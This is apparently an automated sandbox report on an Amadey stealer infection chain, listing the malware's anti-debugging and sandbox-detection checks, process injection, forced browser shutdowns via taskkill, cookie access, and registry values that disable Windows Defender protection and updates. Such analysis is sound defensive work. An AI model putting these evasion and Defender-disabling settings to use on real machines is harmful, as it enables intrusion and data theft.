Source: e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWNJF)
Source: e5e907fecb.exe, 0000000D.00000002.2681648947.0000000001197000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2934028870.000002651AC8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK
Source: file.exe, 00000000.00000002.1752478519.0000000000608000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1794666334.0000000000E18000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1797031968.0000000000E18000.00000040.00000001.01000000.00000007.sdmp, e5e907fecb.exe, 0000000D.00000002.2680948648.00000000005FF000.00000040.00000001.01000000.0000000B.sdmp, 3996dc7402.exe, 0000000E.00000002.3211141650.0000000000856000.00000040.00000001.01000000.0000000C.sdmp, e5e907fecb.exe, 0000000F.00000002.3268414442.00000000005FF000.00000040.00000001.01000000.0000000B.sdmp, e5e907fecb.exe, 0000000F.00000002.3301835374.0000000005DFB000.00000040.00000800.00020000.00000000.sdmp, 3996dc7402.exe, 00000021.00000002.3311788946.0000000000856000.00000040.00000001.01000000.0000000C.sdmp, 19cf1f0449.exe, 00000024.00000002.3050513336.0000000000E9B000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: a7f098a093.exe, 0000000C.00000003.3321780118.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3290982269.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3428506964.00000000012CD000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3318765599.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3357122908.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3294411081.00000000012CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@
Source: firefox.exe, 00000023.00000002.2933837593.00000279075BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`j
Source: a7f098a093.exe, 0000000C.00000003.3116694621.000000000126D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2938816243.000002651B300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2937157498.0000027907D71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04E00C7D rdtsc

0_2_04E00C7D

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 10_2_0043DF70 LdrInitializeThunk,

10_2_0043DF70

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 7_2_007CA464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_007CA464

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007BDD90 mov eax, dword ptr fs:[00000030h]	7_2_007BDD90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007E018D mov edi, dword ptr fs:[00000030h]	7_2_007E018D
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007B9EF0 mov edi, dword ptr fs:[00000030h]	7_2_007B9EF0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007BDD90 mov eax, dword ptr fs:[00000030h]	9_2_007BDD90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007B9EF0 mov edi, dword ptr fs:[00000030h]	9_2_007B9EF0

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 7_2_007CEFB0 GetProcessHeap,

7_2_007CEFB0

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007CA464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_007CA464
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007CA458 SetUnhandledExceptionFilter,	7_2_007CA458
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007CCDEA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_007CCDEA
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C9AF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_007C9AF9
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007CA464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_007CA464
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007CA458 SetUnhandledExceptionFilter,	9_2_007CA458
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007CCDEA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_007CCDEA
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C9AF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_007C9AF9

Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 8144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 4936, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 7_2_007E018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

7_2_007E018D

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Memory written: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe "C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe "C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe "C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe "C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: d986826e57.exe, 00000010.00000000.2782383899.0000000000602000.00000002.00000001.01000000.0000000D.sdmp, d986826e57.exe, 00000029.00000002.3003709713.0000000000602000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 19cf1f0449.exe, 00000024.00000002.3051377100.0000000000EDD000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: HiKProgram Manager
Source: skotes.exe, skotes.exe, 00000002.00000002.1797031968.0000000000E18000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: \Program Manager
Source: e5e907fecb.exe, 0000000D.00000002.2680948648.00000000005FF000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: QProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 7_2_007CA220 cpuid

7_2_007CA220

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 7_2_007CA8E5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

7_2_007CA8E5

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: r5mqFEC.exe, 0000000A.00000003.2662244591.0000000003239000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666427560.0000000003239000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2313546363.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1753823043.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
